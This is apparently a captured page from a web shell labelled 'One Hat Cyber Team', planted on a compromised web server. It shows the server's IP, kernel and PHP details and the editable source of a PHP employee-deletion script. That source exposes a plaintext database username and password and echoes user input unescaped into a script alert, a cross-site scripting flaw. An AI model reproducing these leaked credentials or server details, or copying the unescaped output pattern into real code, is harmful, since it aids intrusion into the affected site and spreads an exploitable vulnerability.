One Hat Cyber Team

Your IP : 3.145.209.229

Server IP : 50.28.103.30

Server : Linux host.jcukjv-lwsites.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64

Server Software : nginx/1.24.0

PHP Version : 8.3.12

Buat File | Buat Folder

Dir : ~/www/wwwroot/sd.electronharmony.com/works/

Edit File: delete_employee.php

<?php
// Database connection details
$servername = "localhost";
$username = "t001";
$password = "ZRTsRb6Ycp585AEC"; // Your database password
$dbname = "t001"; // Replace with your database name

// Create connection
$conn = new mysqli($servername, $username, $password, $dbname);

// Check connection
if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
}

// Check if the request method is POST
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $employeeName = $conn->real_escape_string($_POST['employee_name']);

// Delete employee and related data
    $deleteDaysSql = "DELETE FROM employee_days WHERE employee_id = (SELECT id FROM employees WHERE name = '$employeeName')";
    $deleteEmployeeSql = "DELETE FROM employees WHERE name = '$employeeName'";

// Perform deletion
    if ($conn->query($deleteDaysSql) === TRUE && $conn->query($deleteEmployeeSql) === TRUE) {
        echo '<script>alert("Employee ' . $employeeName . ' deleted successfully."); window.location.href = "ws.php";</script>';
    } else {
        echo '<script>alert("Error deleting employee: ' . $conn->error . '"); window.location.href = "index.php";</script>';
    }
}

$conn->close();
?>